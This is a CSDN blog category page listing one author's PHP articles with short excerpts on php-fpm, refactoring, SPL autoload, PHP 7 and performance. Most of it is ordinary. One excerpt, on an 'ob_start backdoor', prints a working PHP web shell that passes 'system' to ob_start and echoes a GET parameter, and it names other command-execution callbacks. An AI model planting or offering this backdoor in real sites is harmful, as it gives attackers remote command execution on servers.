![](https://img-blog.csdnimg.cn/20201014180756922.png?x-oss-process=image/resize,m_fixed,h_64,w_64)
php
文章平均质量分 92
tonyXf121
这个作者很懒,什么都没留下…
展开
-
php-fpm
什么是CGI CGI全称是“公共网关接口”(Common Gateway Interface),HTTP服务器与你的或其它机器上的程序进行“交谈”的一种工具,其程序须运行在网络服务器上。 CGI可以用任何一种语言编写,只要这种语言具有标准输入、输出和环境变量。如php,perl,tcl等什么是FastCGI FastCGI像是一个常驻(long-live)型的CGI,它可以一转载 2012-06-09 15:46:36 · 1579 阅读 · 0 评论 -
PHP 杂谈《重构-改善既有代码的设计》之一 重新组织你的函数
思维导图点击下图,可以看大图。专业术语我们毕竟是用英文字母编码,所以用一些英语单词,更能显示出我们的专业性。以下的英文单词,你如果掌握了,与其他coder交流的时候会更直接,更专业。“*”表示文中经常提到的inline:内联function:函数*method:方法finely grained:细粒度的rena转载 2012-09-17 13:50:16 · 1359 阅读 · 0 评论 -
php SPL autoload
autoload机制概述 在使用PHP的OO模式开发系统时,通常大家习惯上将每个类的实现都存放在一个单独的文件里,这样会很容易实现对类进行复用,同时将来维护时也很便利。这也是OO设计的基本思想之一。在PHP5之前,如果需要使用一个类,只需要直接使用include/require将其包含进来即可。下面是一个实际的例子: /* Person.class.php */ <?php原创 2012-10-09 13:22:05 · 853 阅读 · 0 评论 -
PHP 杂谈《重构-改善既有代码的设计》之二 对象之间搬移特性
思维导图索引:#Move_Method(搬移函数)#Move_Field (搬移值域)#Extract_Class (提炼类)#Inline_Class (将类内联化,就是把当前的类合并到其他类中)#Hide_Delegate (隐藏委托关系)#Remove_Middle_Man ( 移除中间人)#Introduce_Foreign_Method (转载 2012-09-17 22:29:01 · 936 阅读 · 0 评论 -
PHP 杂谈《重构-改善既有代码的设计》之三 重新组织数据
思维导图介绍承接上文的PHP 杂谈《重构-改善既有代码的设计》之 重新组织你的函数继续重构方面的内容。这章主要针对数据的重构。1、争论的声音——直接访问Field还是通过函数(Accessor)访问Field2.修改Array为Object:当你看到一个Array很像一个数据结构,你可以使用Replace Array with O转载 2012-09-18 11:00:25 · 724 阅读 · 0 评论 -
PHP 杂谈《重构-改善既有代码的设计》之四 简化条件表达式
思维导图点击下图,查看大图。介绍条件逻辑有可能十分复杂,因此本章提供一些重构的手法,专门用来简化它们。全文简述(你可直接跳过下面的内容) 核心重构:Decompose Conditional——分离”转辙逻辑“(switching logic)和”操作细节“(details)分离。 多处测试有相同结果:Consolidate Cond转载 2012-09-18 11:11:04 · 1249 阅读 · 0 评论 -
PHP SPL 介绍
最近在看zend framework2,发现zf2使用了spl,所以记录一下笔记,介绍一下SPL中常用的接口和类。简介SPLSPL是Standard PHP Library(PHP标准库)的缩写。根据官方定义,它是“a collection of interfaces and classes that are meant to solve standard problems”。原创 2012-09-25 18:47:38 · 3422 阅读 · 0 评论 -
64位机器安装mongo-php-driver问题及解决办法
64位linux安装mongo-php-driver后重启php时会出现以下错误:PHP Warning: PHP Startup: Unable to load dynamic library '/usr/local/php-5.3/extensions/mongo.so' - /usr/local/php-5.3/extensions/mongo.so: undefined symbol原创 2012-10-18 11:57:59 · 5564 阅读 · 0 评论 -
深入了解php底层机制
作为一门动态语言,php是如何实现的,其底层机制如何,具有什么样的特点,本文深入浅出介绍了包括php设计理念、整体结构、核心数据结构和变量在内的相关底层知识,对我们更好的开发php程序,优化性能等有一定的指导意义。1. 概述what is php?一种适用于web开发的动态语言。具体点说:就是一个用c语言实现包含大量组件的软件框架。更狭义点看,可以把它认为是一个强大的ui框架。转载 2012-12-07 14:31:57 · 1153 阅读 · 0 评论 -
怎样优化autoload
1. 概述php的autoload机制就不再累述了,autoload机制确实能给开发带来便利,但是实现不好的话会很影响性能,比如:function __autoload($class_name) { include_once $class_name . '.php'; } 这是最简单的autoload实现函数,只要求类名和文件名保持一致,这实现起来很简单,原创 2012-12-14 11:33:00 · 847 阅读 · 0 评论 -
php ob_start 后门
原文地址:http://cutt.com/article/1521598558原文中给出了ob_start的后门例子,代码如下:<?php$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();?>然后浏览器中的效果就是:ob_start()的参数如果是常见的命令执行类函数(system,exec,popen原创 2012-09-13 11:16:16 · 2502 阅读 · 1 评论 -
php EventManager Module
介绍参考zf2的EventManager,结合实际项目中的需要写了一个简易的EventManager,主要功能有:订阅者模式;拦截器;事件驱动具体概念就不介绍了,先来看看模块中的几个类或接口。EventManager 类EventManager是核心模块,主要负责为监听事件,添加拦截器,触发事件,下面看一个例子:$em = new EventManager();$原创 2012-09-28 07:37:05 · 1099 阅读 · 0 评论 -
PHP autoload与include性能比较
自PHP5后,官方大大丰富了对面向对象的支持,其中有个重要改变:引入了__autoload()函数,从此不再需要在php脚本的header写一堆的require或include了,用PHP函数手册中的话说:”它会在试图使用尚未被定义的类时自动调用”。这一机制大大减轻了开发人员的负担,只要在架构初期考虑好了目录结构和命名规范,在开发过程中,需要再为代码中要用到的类分别去require相应的文件,转载 2012-06-13 14:03:13 · 1046 阅读 · 1 评论 -
preg和ereg的区别
题记:在PHP5.3里边ereg家族要被preg代替了。在这里列一下它们的区别。名词解释: preg,代表“Perl的正则表达式(Perl Regular Expressions)”。 ereg,代表“扩展的正则表达式(Extended Regular Expressions)”。区别: 1.preg_replace()里面的正则可以写成型如:"/..../"而ereg_r转载 2012-07-12 09:18:00 · 2252 阅读 · 0 评论 -
explode,split,preg_split性能比较
三个函数都是用来对字符串进行分割,下面分几个实验来比较之间的性能。1. explode与split比较都用字符进行分割,执行10次代码:for($num=0;$num<9;$num++){ $stime=microtime(); for($i=0;$i<10000;$i++) { explode(',','hello,world'原创 2012-07-12 09:46:57 · 5593 阅读 · 2 评论 -
PHP函数的实现原理及性能分析
前言 在任何语言中,函数都是最基本的组成单元。对于php的函数,它具有哪些特点?函数调用是怎么实现的?php函数的性能如何,有什么使用建议?本文将从原理出发进行分析结合实际的性能测试尝试对这些问题进行回答,在了解实现的同时更好的编写php程序。同时也会对一些常见的php函数进行介绍。php函数的分类 在php中,横向划分的话,函数分为两大类: user functi转载 2012-07-12 11:20:46 · 1017 阅读 · 0 评论 -
php优化
整理了一些php优化方面的东西:1. 静态方法比普通方法快; 单纯方法调用普通方法比静态方法快,但调用普通方法之前需要new操作,两步操作导致调用普通方法比调用静态方法慢2. 尽量减少方法调用,特别是只有一两句而且还频繁调用的方法。 一些减少方法调用的小技巧: time() -> $_SERVER[REQUEST_TIME] phpversion()原创 2012-07-12 19:32:12 · 1383 阅读 · 0 评论 -
php面向对象重点
1. 使用extends实现继承以及重载class B extends A 声明的时候B里可以没有A里的方法调用的时候$b=new B();$b->A里的方法();$b->A里的属性=1;$b->B里的方法();$b->B里的方法();如果$a=new A();可以$a->A里的方法();$a->A里的属性=1;不可以$a->B里的方法();原创 2012-08-22 10:30:30 · 1197 阅读 · 0 评论 -
php 5.4 新增功能
在PHP 5.4中,首先是修复了多达100多处的bug,并且在内存及性能优化上做的更好了,而且去掉了一些之前版本的方法,比如register_globals,magic_quotes,safe_mode等,而且要注意的是,PHP 5.4中,默认的编码方式已经改变为UTF-8了,这很有利于开发者开发多语言的版本应用。trait首先来介绍下PHP 5.4中新加入的功能Trait,这里可以简单理原创 2012-09-04 09:41:01 · 1280 阅读 · 0 评论 -
php-fpm介绍及配置
php-fpm是什么全称是php fastcgi process manager即php fastcgi进程管理器,相比fastcgi静态的唤起cgi,fpm能根据访问的压力动态的唤起cgi进程和销毁以到达动态的调整cgi数量,这样可以有效的使用内存。除此之外还有其它的一些优点,比如,fpm还可以平滑的重载php配置;由于fpm是使用Unix-Socket来和服务器通讯,所以也不用再配置cgi原创 2012-08-17 10:37:22 · 21999 阅读 · 1 评论 -
PHP7革新与性能优化
有幸参与2015年的PHP技术峰会(PHPCON),听了鸟哥(惠新宸)的关于PHP7的新特性和性能优化的分享,一切都令人感到激动。鸟哥是国内最权威的PHP专家,他的分享有很多非常有价值的东西,我通过整理分享的PPT和收集相关资料,整理为这篇解读性质的技术文章,希望能给做PHP开发的同学一些帮助。 PHP已经走过了20年的历史,直到今天,PHP7都发布了RC版,据说,PHP7正式版应转载 2015-10-16 18:43:46 · 1197 阅读 · 0 评论